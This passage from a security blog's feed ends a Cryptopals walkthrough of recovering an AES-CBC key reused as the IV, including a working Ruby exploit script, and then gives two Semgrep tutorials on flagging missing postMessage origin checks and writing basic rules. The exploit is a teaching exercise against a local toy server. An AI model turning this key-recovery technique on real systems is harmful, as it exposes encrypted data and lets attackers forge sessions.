        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Given that our first ciphertext block &lt;strong&gt;is the same&lt;/strong&gt; as our third ciphertext block (step 4 of attack) we know that the following operations will produce the same result:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;AES_Decrypt(first_block_ciphertext, KEY)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;AES_Decrypt(third_block_ciphertext, KEY)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When we XOR these two operations together the result will be &lt;strong&gt;zero&lt;/strong&gt;. This leaves us with:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;=&amp;gt; 0 XOR KEY XOR second_block_ciphertext
=&amp;gt; KEY XOR second_block_ciphertext&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Remember that we made our second ciphertext block contain only zeroes (step 3 of attack), so this becomes:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;=&amp;gt; KEY XOR 0
=&amp;gt; KEY&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And that’s the reason we can extract the &lt;code class=&quot;language-text&quot;&gt;KEY&lt;/code&gt; using this algorithm.&lt;/p&gt;
&lt;h2&gt;Implementation based on Cryptopal’s requirements&lt;/h2&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;class InvalidFormat &amp;lt; StandardError; end

KEY = 16.times.map { rand(0..255) }

def encode_cookie(input)
  prefix = &amp;#39;comment1=cooking%20MCs;userdata=&amp;#39;
  suffix = &amp;#39;;comment2=%20like%20a%20pound%20of%20bacon&amp;#39;
  plaintext = prefix + input.tr(&amp;#39;;=&amp;#39;, &amp;#39;&amp;#39;) + suffix
  raise InvalidFormat.new(plaintext) unless plaintext.ascii_only?
  aes_cbc_encrypt(pkcs7_pad(plaintext.bytes, 16), KEY, KEY)
end

def decode_cookie(ciphertext)
  plaintext = pkcs7_unpad(
    aes_cbc_decrypt(ciphertext, KEY, KEY)
  ).pack(&amp;#39;C*&amp;#39;)

  raise InvalidFormat.new(plaintext) unless plaintext.ascii_only?
  config = plaintext.split(&amp;#39;;&amp;#39;).map { |kv| kv.split(&amp;#39;=&amp;#39;) }.to_h
  puts &amp;quot;Decoded data: #{config}&amp;quot;
  puts &amp;quot;Admin detected: #{config[&amp;#39;admin&amp;#39;] == &amp;#39;true&amp;#39;}&amp;quot;
end

def exploit_server(input)
  cookie = encode_cookie(input)
  # Step 3 of the attack
  16.times { |i| cookie[16 + i] = 0 }
  # Step 4 of the attack
  16.times { |i| cookie[32 + i] = cookie[i] }

  begin
    decode_cookie(cookie)
  rescue InvalidFormat =&amp;gt; e
    puts &amp;quot;Invalid message!&amp;quot;
    e.message
  end
end

input = &amp;#39;A&amp;#39; * (16 * 3)
# Step 5 of the attack
result = exploit_server(input)
blocks = result.bytes.each_slice(16).to_a

puts &amp;#39;Original key:&amp;#39;
puts KEY.inspect

puts &amp;#39;Leaked Key:&amp;#39;
# Step 6 of the attack
puts xor_bytes(blocks[0], blocks[2]).inspect&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
&lt;p&gt;In order to keep the code short and to the point I’ve opted to hide methods that we have seem in previous posts, they are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pkcs7_pad&lt;/li&gt;
&lt;li&gt;pkcs7_unpad&lt;/li&gt;
&lt;li&gt;aes_cbc_encrypt&lt;/li&gt;
&lt;li&gt;aes_cbc_decrypt&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;See &lt;a href=&quot;/cbc-padding-oracle&quot;&gt;CBC Padding Oracle&lt;/a&gt; for more information about each method.&lt;/p&gt;
&lt;p&gt;And we have reached the end of our exercise! This should be our last post on &lt;code class=&quot;language-text&quot;&gt;CBC&lt;/code&gt;, on future posts we will start investigating a new block mode called &lt;code class=&quot;language-text&quot;&gt;CTR&lt;/code&gt;. Please reach out to me on Twitter or by email if you have any questions or suggestions on how to improve this or future posts.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Ensuring postMessage Origin Validation with Semgrep]]></title><description><![CDATA[Let's explore how we can validate postMessage declarations in our JavaScript or TypeScript codebases.]]></description><link>https://bernardoamc.com/semgrep-post-message/</link><guid isPermaLink="false">https://bernardoamc.com/semgrep-post-message/</guid><pubDate>Wed, 11 Aug 2021 08:30:00 GMT</pubDate><content:encoded>&lt;p&gt;If you are new to &lt;a href=&quot;https://github.com/returntocorp/semgrep&quot;&gt;Semgrep&lt;/a&gt; I recommend checking out my &lt;a href=&quot;/semgrep-introduction&quot;&gt;previous post&lt;/a&gt; where we cover the basics and create a new rule step by step.&lt;/p&gt;
&lt;p&gt;In this post we will tackle the challenge of flagging scenarios in our codebase where developers forgot to check the origin of a message consumed through &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage&quot;&gt;postMessage&lt;/a&gt;. This rule will be used to mitigate one of the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage#security_concerns&quot;&gt;security concerns&lt;/a&gt; mentioned within the MDN documentation, the &lt;code class=&quot;language-text&quot;&gt;origin&lt;/code&gt; validation.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Any window (including, for example, &lt;a href=&quot;http://evil.example.com&quot;&gt;http://evil.example.com&lt;/a&gt;) can send a message to any other window, and you have no guarantees that an unknown sender will not send malicious messages.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://labs.detectify.com/2017/02/28/hacking-slack-using-postmessage-and-websocket-reconnect-to-steal-your-precious-token/&quot;&gt;Here’s an example&lt;/a&gt; of this vulnerability being exploited.&lt;/p&gt;
&lt;p&gt;I’ve also submitted a &lt;a href=&quot;https://github.com/returntocorp/semgrep-rules/pull/1415&quot;&gt;Pull Request&lt;/a&gt; to the &lt;a href=&quot;https://github.com/returntocorp/semgrep-rules&quot;&gt;semgrep-rules&lt;/a&gt; repository and by the end of this post we will understand every aspect of it. :)&lt;/p&gt;
&lt;p&gt;With the context in place, let’s start!&lt;/p&gt;
&lt;h2&gt;Patterns to flag&lt;/h2&gt;
&lt;p&gt;Before we start writing our new rule it helps to document the patterns we want to match. Besides having a clear spec to work with it also makes it easier to reason about which operators we will need.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;js&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;// Inline function without origin check
window.addEventListener(&amp;quot;message&amp;quot;, function(evt){
  console.log(&amp;#39;No origin check!&amp;#39;);
});

// The following line creates a function that will
// be used as a handler by our addEventListener. This
// handler should also have an origin check.
function receiveMessage(evt) {
  console.log(&amp;#39;No origin check!&amp;#39;);
}

window.addEventListener(&amp;quot;message&amp;quot;, receiveMessage, false);

// Inline arrow function without origin check
window.addEventListener(&amp;#39;message&amp;#39;, (evt) =&amp;gt; {
  console.log(&amp;#39;No origin check!&amp;#39;);
});

// The following line creates a function using the
// arrow function pattern which will be used as a
// handler by our addEventListener. This
// handler should also have an origin check.
const arrowHandler = (evt) =&amp;gt; {
    console.log(&amp;#39;No origin check!&amp;#39;);
};

window.addEventListener(&amp;quot;message&amp;quot;, arrowHandler, false);&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Knowing that we need to match &lt;code class=&quot;language-text&quot;&gt;inline&lt;/code&gt; or &lt;code class=&quot;language-text&quot;&gt;external&lt;/code&gt; declarations gives us an idea that we will need to rely on the &lt;a href=&quot;https://semgrep.dev/docs/writing-rules/rule-syntax/#pattern-either&quot;&gt;patterns-either&lt;/a&gt; operator.&lt;/p&gt;
&lt;p&gt;We might be tempted to write four different patterns for this scenario, but since Semgrep is semantic we only need to write &lt;strong&gt;two&lt;/strong&gt;! This means that patterns matching and old &lt;code class=&quot;language-text&quot;&gt;function&lt;/code&gt; declaration will also match code using &lt;code class=&quot;language-text&quot;&gt;arrow functions&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It’s worth repeating this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Since Semgrep is semantic, patterns matching and old &lt;code class=&quot;language-text&quot;&gt;function&lt;/code&gt; declaration will also match code using &lt;code class=&quot;language-text&quot;&gt;arrow functions&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now, which patterns do we consider safe for origin checking?&lt;/p&gt;
&lt;h2&gt;Safe patterns&lt;/h2&gt;
&lt;p&gt;If the function specified above contains any of the following patterns we &lt;strong&gt;should not&lt;/strong&gt; flag them:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;js&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;if (evt.origin == &amp;quot;http://example.com&amp;quot;) { ... }

if (evt.origin === &amp;quot;http://example.com&amp;quot;) { ... }

if (evt.origin != &amp;quot;http://example.com&amp;quot;) { ... }

if (evt.origin !== &amp;quot;http://example.com&amp;quot;) { ... }

if (someRegex.test(evt.origin)) { ... }&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
We have our spec, we know what to flag and more importantly, what not to. Time to start working on our rule!
&lt;h2&gt;Writing our rule&lt;/h2&gt;
&lt;p&gt;Let’s take care of the &lt;code class=&quot;language-text&quot;&gt;inline&lt;/code&gt; functions first since they don’t need external context:&lt;/p&gt;
&lt;h4&gt;Inline functions&lt;/h4&gt;
&lt;deckgo-highlight-code language=&quot;yaml&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;patterns:
- pattern: |
  window.addEventListener(&amp;#39;message&amp;#39;, $FUNC, ...)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;$FUNC&lt;/code&gt; will capture the inline function into a &lt;a href=&quot;https://semgrep.dev/docs/writing-rules/pattern-syntax/#metavariables&quot;&gt;metavariable&lt;/a&gt;. Now we can use the handy &lt;a href=&quot;https://semgrep.dev/docs/writing-rules/rule-syntax/#metavariable-pattern&quot;&gt;metavariable-pattern&lt;/a&gt; to exclude our &lt;strong&gt;safe patterns&lt;/strong&gt;.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;yaml&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;patterns:
- pattern: |
    window.addEventListener(&amp;#39;message&amp;#39;, $FUNC, ...)
- metavariable-pattern:
    metavariable: $FUNC
    patterns:
      - pattern: |
          function($OBJ) { ... }
      - pattern-not: |
          function($OBJ){ ... if ($OBJ.origin == $X) ... }
      - pattern-not: |
          function($OBJ){ ... if ($OBJ.origin === $X) ... }
      - pattern-not: |
          function($OBJ){ ... if ($OBJ.origin != $X) ... }
      - pattern-not: |
          function($OBJ){ ... if ($OBJ.origin !== $X) ... }
      - pattern-not: |
          function($OBJ){ ... if ($REGEX.test($OBJ.origin)) ... }&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;We want to match function declarations (&lt;code class=&quot;language-text&quot;&gt;pattern&lt;/code&gt;) that &lt;strong&gt;do not&lt;/strong&gt; contain any of our safe patterns (&lt;code class=&quot;language-text&quot;&gt;pattern-not&lt;/code&gt;). Note the ellipsis surrounding our &lt;code class=&quot;language-text&quot;&gt;if&lt;/code&gt; statements, they are there to guarantee that we are matching any line within the function, not just the first line.&lt;/p&gt;
&lt;p&gt;A few other things are worth noting here:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Our metavariable is matching on the context captured by &lt;code class=&quot;language-text&quot;&gt;$FUNC&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;We need the the &lt;code class=&quot;language-text&quot;&gt;function($OBJ) { ... }&lt;/code&gt; check to exclude external function declarations (our second scenario)&lt;/li&gt;
&lt;li&gt;The &lt;code class=&quot;language-text&quot;&gt;$OBJ&lt;/code&gt; metavariable is matching the function parameter and making sure the &lt;code class=&quot;language-text&quot;&gt;.origin&lt;/code&gt; is being called on it&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I like how explicit the rule currently is, but we will see an alternative to simplify our &lt;code class=&quot;language-text&quot;&gt;pattern-not&lt;/code&gt; by the end of this post. Bear with me for now if this is bothering you. :)&lt;/p&gt;
&lt;p&gt;Time to match the external functions!&lt;/p&gt;
&lt;h4&gt;External functions&lt;/h4&gt;
&lt;deckgo-highlight-code language=&quot;yaml&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;pattern-either:
  - pattern: |
      function $FNAME(...) { $CTX }
      ...
      window.addEventListener(&amp;#39;message&amp;#39;, $FNAME,...)
  - pattern: |
      $FNAME = (...) =&amp;gt; { $CTX }
      ...
      window.addEventListener(&amp;#39;message&amp;#39;, $FNAME,...)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;&lt;em&gt;This is the only situation where I couldn’t use the same pattern to match &lt;code class=&quot;language-text&quot;&gt;arrow functions&lt;/code&gt; and normal &lt;code class=&quot;language-text&quot;&gt;function&lt;/code&gt; declarations. Let me know if I could simplify this pattern.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Here we are making sure that we can match any of the function declaration types with &lt;code class=&quot;language-text&quot;&gt;pattern-either&lt;/code&gt; and capturing the function names during declaration with &lt;code class=&quot;language-text&quot;&gt;$FNAME&lt;/code&gt;. Note that we use the same &lt;code class=&quot;language-text&quot;&gt;$FNAME&lt;/code&gt; metavariable to ensure that the &lt;strong&gt;same name&lt;/strong&gt; is being used within &lt;code class=&quot;language-text&quot;&gt;addEventListener&lt;/code&gt;. The ellipsis (&lt;code class=&quot;language-text&quot;&gt;...&lt;/code&gt;) are there to match anything in-between those two lines.&lt;/p&gt;
&lt;p&gt;We are also capturing the context of the function body itself with &lt;code class=&quot;language-text&quot;&gt;$CTX&lt;/code&gt; and we will use it to exclude our &lt;strong&gt;safe patterns&lt;/strong&gt;. Let’s get to it:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;yaml&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;pattern-either:
  - pattern: |
      function $FNAME(...) { $CTX }
      ...
      window.addEventListener(&amp;#39;message&amp;#39;, $FNAME,...)
  - pattern: |
      $FNAME = (...) =&amp;gt; { $CTX }
      ...
      window.addEventListener(&amp;#39;message&amp;#39;, $FNAME,...)
  - metavariable-pattern:
    metavariable: $CTX
    patterns:
      - pattern-not: |
          ... if ($OBJ.origin == $X) ...
      - pattern-not: |
          ... if ($OBJ.origin === $X) ...
      - pattern-not: |
          ... if ($OBJ.origin != $X) ...
      - pattern-not: |
          ... if ($OBJ.origin !== $X) ...
      - pattern-not: |
          ... if ($REGEX.test($OBJ.origin)) ...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
&lt;p&gt;Nothing new here, we are ensuring that we ignore matches if they contain any of the &lt;code class=&quot;language-text&quot;&gt;if&lt;/code&gt; patterns declared by our &lt;code class=&quot;language-text&quot;&gt;pattern-not&lt;/code&gt; operators. These patterns are being checked on the context of &lt;code class=&quot;language-text&quot;&gt;$CTX&lt;/code&gt; which is our function body. We are also making sure to match these patterns in any line by surrounding our patterns with ellipsis.&lt;/p&gt;
&lt;p&gt;With those two cases being taken care of separately we can move to our final rule declaration.&lt;/p&gt;
&lt;h2&gt;Final pattern&lt;/h2&gt;
&lt;p&gt;In order to make this work we need to glue both scenario using &lt;code class=&quot;language-text&quot;&gt;pattern-either&lt;/code&gt;. Let’s check our final rule in the playground:&lt;/p&gt;
&lt;iframe title=&quot;postMessage Origin Validation&quot; src=&quot;https://semgrep.dev/embed/editor?snippet=bernardoamc:postmessage_origin_validation&quot; width=&quot;100%&quot; height=&quot;430px&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;
&lt;br/&gt;&lt;br/&gt;
&lt;p&gt;And with this new rule we can match:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Inline function declarations in any format&lt;/li&gt;
&lt;li&gt;External function declarations in any format&lt;/li&gt;
&lt;li&gt;Create a list with patterns we consider to be safe for origin checking&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This rule achieves exactly what we set ourselves to do and we could just stop here, but as I’ve hinted earlier we can simplify things. Let’s investigate!&lt;/p&gt;
&lt;h2&gt;Alternative&lt;/h2&gt;
&lt;p&gt;Instead of explicitly checking for each equality operator in our &lt;code class=&quot;language-text&quot;&gt;pattern-not&lt;/code&gt; we could have used the &lt;a href=&quot;https://semgrep.dev/docs/writing-rules/pattern-syntax/#deep-expression-operator&quot;&gt;deep-expression-operator&lt;/a&gt; which basically lets you say: &lt;br /&gt; &lt;em&gt;“I don’t know what exactly happens in here, but I want to enforce that this variable is used somehow”&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Let’s rewrite our rule above using this operator and see how it simplifies our &lt;code class=&quot;language-text&quot;&gt;metavariable-pattern&lt;/code&gt; declaration:&lt;/p&gt;
&lt;iframe title=&quot;postMessage Origin Validation Alt&quot; src=&quot;https://semgrep.dev/embed/editor?snippet=bernardoamc:post_message_origin_check_deep_exp&quot; width=&quot;100%&quot; height=&quot;430px&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;
&lt;br/&gt;&lt;br/&gt;
&lt;p&gt;Pretty cool, right?!&lt;/p&gt;
&lt;p&gt;The downside of this approach is that any reference to &lt;code class=&quot;language-text&quot;&gt;$OBJ.origin&lt;/code&gt; in a &lt;code class=&quot;language-text&quot;&gt;if statement&lt;/code&gt; will match, even if it doesn’t perform the sort of validation that makes it safe. In this particular case I wanted to be strict and enforce the presence of certain equality operators, but that changes on a case-by-case basis.&lt;/p&gt;
&lt;p&gt;As a rule of thumb if you just want to check that something is being called/referenced use the &lt;code class=&quot;language-text&quot;&gt;deep-expression-operator&lt;/code&gt;, otherwise stick with explicit pattern matching.&lt;/p&gt;
&lt;br /&gt;
&lt;p&gt;And with this we have reached the end of this blog post. Thanks for reading and let me know if you have any tips or questions by reaching out to me on Twitter or by email and I will be happy to chat about it!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[A Practical Introduction to Semgrep]]></title><description><![CDATA[Let's explore this modern static analysis tool and how it allows us to identify patterns in our code for linting or security purposes.]]></description><link>https://bernardoamc.com/semgrep-introduction/</link><guid isPermaLink="false">https://bernardoamc.com/semgrep-introduction/</guid><pubDate>Sat, 31 Jul 2021 21:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Lately I’ve been working on automating security rules and enforcing best practices in our codebases using static analysis tools. Besides &lt;a href=&quot;https://brakemanscanner.org/&quot;&gt;Brakeman&lt;/a&gt; and &lt;a href=&quot;https://securitylab.github.com/tools/codeql/&quot;&gt;CodeQL&lt;/a&gt; I have also been using &lt;a href=&quot;https://github.com/returntocorp/semgrep&quot;&gt;Semgrep&lt;/a&gt;, which is the topic of this post.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/returntocorp/semgrep&quot;&gt;Semgrep&lt;/a&gt; is a open-source static analysis tool that allows us to find patterns in our code. In this post we will explore how its rule system works through a practical example and some tips on how to get started writing your own rules.&lt;/p&gt;
&lt;p&gt;Before we start, it’s worth mentioning that Semgrep has a great &lt;a href=&quot;https://semgrep.dev/editor/&quot;&gt;online editor&lt;/a&gt; that allows us to visually test how rules match our code. It is a great tool to rapidly iterate on and share your work with others. Another resource that helped me get started is their &lt;a href=&quot;https://semgrep.dev/learn&quot;&gt;interactive learn section&lt;/a&gt;. It relies heavily on the editor and does a great job ramping us up on how its rule system works.&lt;/p&gt;
&lt;p&gt;With that out of the way let’s explore an example in &lt;code class=&quot;language-text&quot;&gt;Ruby&lt;/code&gt;, which is &lt;a href=&quot;https://semgrep.dev/docs/language-support/&quot;&gt;one of the languages&lt;/a&gt; supported by Semgrep.&lt;/p&gt;
&lt;h2&gt;Example&lt;/h2&gt;
&lt;p&gt;The code we are going to work on is the following:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;provider :acme,
    api_key,
    per_user: true&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Our goal is to flag code that falls into one of the following criteria:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The provider is &lt;code class=&quot;language-text&quot;&gt;:acme&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;per_user&lt;/code&gt; is &lt;code class=&quot;language-text&quot;&gt;false&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The provider is &lt;code class=&quot;language-text&quot;&gt;:acme&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;per_user&lt;/code&gt; is missing&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;With this criteria in mind let’s create our new rule. Rules in Semgrep are expressed through &lt;code class=&quot;language-text&quot;&gt;YAML&lt;/code&gt; and it helps to know the standard beforehand. That being said the standard is readable enough that you should be able to follow this tutorial without being familiar with it.&lt;/p&gt;
&lt;p&gt;Let’s encode the first part of our criteria:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;yaml&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;rules:
- id: alert_per_user
  pattern: &amp;#39;provider(:acme, ..., per_user: false, ...)&amp;#39;
  message: per_user is false or is missing for acme provider
  languages: [ruby]
  severity: WARNING&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;There are a few things we can infer right away from this rule and certain things that won’t make sense until we start diving into the details of Semgrep, so let’s start with the basic ones.&lt;/p&gt;
&lt;p&gt;Every rule has an unique &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; and a descriptive &lt;code class=&quot;language-text&quot;&gt;message&lt;/code&gt; associated with it and also knows the semantics of one or more &lt;code class=&quot;language-text&quot;&gt;languages&lt;/code&gt; that it is trying to analyze, which in our case is &lt;code class=&quot;language-text&quot;&gt;Ruby&lt;/code&gt;. The semantics part is really powerful - to understand why let’s see how we could have coded our example above:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;# No parenthesis and new hash format
provider :acme,
    api_key,
    per_user: true

# No parenthesis and old hash format
provider :acme,
    api_key,
    :per_user =&amp;gt; true

# Parenthesis and new hash format
provider(:acme,
    api_key,
    per_user: true
)

# Parenthesis and old hash format
provider(:acme,
    api_key,
    :per_user =&amp;gt; true
)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;These examples are all the same from a &lt;code class=&quot;language-text&quot;&gt;Ruby&lt;/code&gt; standpoint but writing a regular expression to match it would be very cumbersome. On the other hand since Semgrep understands the semantics of the language we can succintly match &lt;strong&gt;all of these cases&lt;/strong&gt; with a single and expressive pattern.&lt;/p&gt;
&lt;h2&gt;Pattern breakdown&lt;/h2&gt;
&lt;p&gt;Rules are expressed by &lt;code class=&quot;language-text&quot;&gt;patterns&lt;/code&gt;, and currently our only pattern is:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;yaml&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;pattern: &amp;#39;provider(:acme, ..., per_user: false, ...)&amp;#39;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Semgrep knows that &lt;code class=&quot;language-text&quot;&gt;provider&lt;/code&gt; is a &lt;code class=&quot;language-text&quot;&gt;method&lt;/code&gt; and that’s why it can match any code with our without parenthesis. It also knows that &lt;code class=&quot;language-text&quot;&gt;:acme&lt;/code&gt; is a hardcoded symbol. If we were searching for any symbol we could have used a &lt;a href=&quot;https://semgrep.dev/docs/writing-rules/rule-syntax/#metavariable-matching&quot;&gt;metavariable&lt;/a&gt; like &lt;code class=&quot;language-text&quot;&gt;$NAME&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;More importantly, it knows that &lt;code class=&quot;language-text&quot;&gt;per_user&lt;/code&gt; is part of a &lt;code class=&quot;language-text&quot;&gt;Hash&lt;/code&gt; so it can also match different Hash syntaxes.&lt;/p&gt;
&lt;p&gt;What are these ellipses (&lt;code class=&quot;language-text&quot;&gt;...&lt;/code&gt;) though?&lt;/p&gt;
&lt;p&gt;These are used to tell Semgrep that we don’t care &lt;em&gt;which position&lt;/em&gt; our &lt;code class=&quot;language-text&quot;&gt;per_user&lt;/code&gt; is in, we just care that it exists. These ellipses match anything that comes &lt;em&gt;before&lt;/em&gt; and &lt;em&gt;after&lt;/em&gt; our &lt;code class=&quot;language-text&quot;&gt;per_user&lt;/code&gt; declaration.&lt;/p&gt;
&lt;h2&gt;Adding our second requirement&lt;/h2&gt;
&lt;p&gt;Now that we have met our first requirement, how can we fulfill the second one?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The provider is &lt;code class=&quot;language-text&quot;&gt;:acme&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;per_user&lt;/code&gt; is missing&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What we want is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Match &lt;code class=&quot;language-text&quot;&gt;pattern A&lt;/code&gt; OR &lt;code class=&quot;language-text&quot;&gt;pattern B&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The way we express the &lt;code class=&quot;language-text&quot;&gt;OR&lt;/code&gt; operator is by using what Semgrep calls &lt;code class=&quot;language-text&quot;&gt;pattern-either&lt;/code&gt;, which is pretty descriptive. Let’s add our second requirement to our &lt;code class=&quot;language-text&quot;&gt;YAML&lt;/code&gt; file:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;yaml&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;- id: alert_per_user
  pattern-either: 
    - pattern: &amp;#39;provider(:acme, ..., per_user: false, ...)&amp;#39;
    - patterns:
      - pattern: &amp;#39;provider(:acme, ...)&amp;#39;
      - pattern-not: &amp;#39;provider(:acme, ..., per_user: $X, ...)&amp;#39;
  languages: [ruby]
  severity: WARNING&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;What we are saying with this rule is:&lt;/p&gt;
&lt;p&gt;Find me a &lt;code class=&quot;language-text&quot;&gt;provider&lt;/code&gt; method call that includes &lt;code class=&quot;language-text&quot;&gt;:acme&lt;/code&gt; &lt;br /&gt;
&lt;strong&gt;AND&lt;/strong&gt; &lt;br /&gt;
has a key &lt;code class=&quot;language-text&quot;&gt;per_user&lt;/code&gt; with value &lt;code class=&quot;language-text&quot;&gt;false&lt;/code&gt; &lt;br /&gt;
&lt;strong&gt;OR&lt;/strong&gt; &lt;br /&gt;
a &lt;code class=&quot;language-text&quot;&gt;provider&lt;/code&gt; method call that includes &lt;code class=&quot;language-text&quot;&gt;:acme&lt;/code&gt; &lt;br /&gt;
&lt;strong&gt;AND&lt;/strong&gt; &lt;br /&gt;
doesn’t have the &lt;code class=&quot;language-text&quot;&gt;per_user&lt;/code&gt; key inside it.&lt;/p&gt;
&lt;p&gt;Note the use of the ellipses (&lt;code class=&quot;language-text&quot;&gt;...&lt;/code&gt;) in this case, it means that we don’t care about what’s inside the &lt;code class=&quot;language-text&quot;&gt;provider&lt;/code&gt; method call after the &lt;code class=&quot;language-text&quot;&gt;:acme&lt;/code&gt; symbol is found, so Semgrep will match anything till the end of the method.&lt;/p&gt;
&lt;p&gt;And with this succint rule we were able to match our entire criteria without having to worry about method call conventions, line breaks or spaces or even Hash formats. How cool is that?&lt;/p&gt;
&lt;h2&gt;Going one step further&lt;/h2&gt;
&lt;p&gt;Let’s pretend that our method call occurs in two different contexts, but that we are interested in only matching one of them.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;# We want to match in this context
middleware.use(OmniAuth::Builder) do
  # Our pattern
end


# We don&amp;#39;t care about this context
middleware.use(Dummy::Builder) do
  # Our pattern
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;In order to solve this we can rely on a new operator called &lt;code class=&quot;language-text&quot;&gt;pattern-inside&lt;/code&gt; that will act as a filter for our patterns. By using it we are saying asking Semgrep to only consider patterns that reside within our &lt;code class=&quot;language-text&quot;&gt;pattern-inside&lt;/code&gt; expression.&lt;/p&gt;
&lt;p&gt;Let’s see how we would encode this in our rule:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;yaml&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;- id: alert_per_user
  patterns:
    - pattern-inside: |
        middleware.use(OmniAuth::Builder) do
            ...
        end
    - pattern-either:
        - pattern: &amp;#39;provider(:acme, ..., per_user: false, ...)&amp;#39;
        - patterns:
          - pattern: &amp;#39;provider(:acme, ...)&amp;#39;
          - pattern-not: &amp;#39;provider(:acme, ..., per_user: $X, ...)&amp;#39;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;We are again making use of our ellipses within &lt;code class=&quot;language-text&quot;&gt;pattern-inside&lt;/code&gt; to say that Semgrep should match anything inside the middleware block. The pipe (&lt;code class=&quot;language-text&quot;&gt;|&lt;/code&gt;) symbol at the end of our &lt;code class=&quot;language-text&quot;&gt;pattern-inside&lt;/code&gt; line signifies that any indented text that follows should be interpreted as a multi-line value according to the &lt;code class=&quot;language-text&quot;&gt;YAML&lt;/code&gt; spec.&lt;/p&gt;
&lt;p&gt;And with this new addition our rule is now context aware which is great in scenarios where code is environment dependent. We can now consider our exercise complete!&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
